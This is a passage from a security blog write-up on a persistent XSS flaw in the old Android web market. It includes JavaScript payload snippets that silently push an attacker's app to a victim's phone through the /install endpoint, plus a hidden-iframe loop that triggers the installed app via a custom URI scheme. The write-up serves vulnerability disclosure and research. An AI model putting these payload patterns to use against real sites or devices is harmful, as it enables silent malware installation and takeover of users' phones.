low-hanging naive persistent XSS in the Android web market

http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/

http://dl.dropbox.com/u/43748161/blog/android/Android%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8%E4%B9%8Bandroid%E5%B9%B3%E5%8F%B0%E4%B8%8A%E7%9A%84xss%E6%94%BB%E5%87%BB.txt
Android应用安全之android平台上的xss攻击

So how does an XSS result in arbitrary code execution on your mobile device? Well, the Android web market allows you to install new applications directly to your mobile device while browsing the market on your desktop.  For more information on how Google is able to perform this remote install of applications on your device, check out my previous posts on the GTalkService and INSTALL_ASSET functionality.
While being able to browse the Android market via your browser on your desktop and push apps to your device is a great win for user experience, it opens up a dangerous attack vector.  Any XSS vulnerabilities in the web market allow an attacker to force your browser into making a POST request that triggers an app installation to your phone.
Since there is no on-device prompt or confirmation for these INSTALL_ASSET requests pushed to your phone, an attacker can silently trigger an malicious app install simply by tricking a victim into clicking a link while logged in to their Google account on their desktop or on their phone.  The malicious app delivered to the victim’s phone can use any and all Android permissions, allowing for all sorts of evil behavior.
An app install can be triggered in the XSS payload via a simple AJAX POST to the /install URI, formatted as follows:

/* silently install malicious app to victim phone */
$.post('/install', {
    id: 'com.attacker.maliciousapp',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

Simply installing the app does not result in code execution since apps do not auto-start upon install on Android.  However, we can easily emulate this functionality effectively to auto-start our app and gain code execution.
One way, as Thomas mentions on his blog, is to have your installed app register for the PACKAGE_ADDED broadcast intent.  This will trigger your app and allow execution whenever a new app is installed.  Since we still control the users browser via our XSS, we can simply trigger the install of an additional application, which will result in our original malicious app being executed by the phone.
Alternately, if our XSS is taking place within the browser of the mobile device itself (like it would for the Pwn2Own contest, as opposed to occurring in the victim’s desktop browser), we can simply insert a hidden IFRAME in our XSS payload, continually set the src of the IFRAME to something like “trigger://blah”, and then have our installed malicious app register an intent filter on the “trigger://” URI scheme:

/* append hidden iframe */
$('body').append($('<iframe id="xss" width="0" height="0">'));

/* continually trigger iframe src */
function trigger() {
    $('#xss').attr('src', 'trigger://blah');
    setTimeout('trigger()', 1000);
}
setTimeout('trigger()', 1000);

This will cause our malicious app to be triggered and gain code execution as soon as it is finished installing.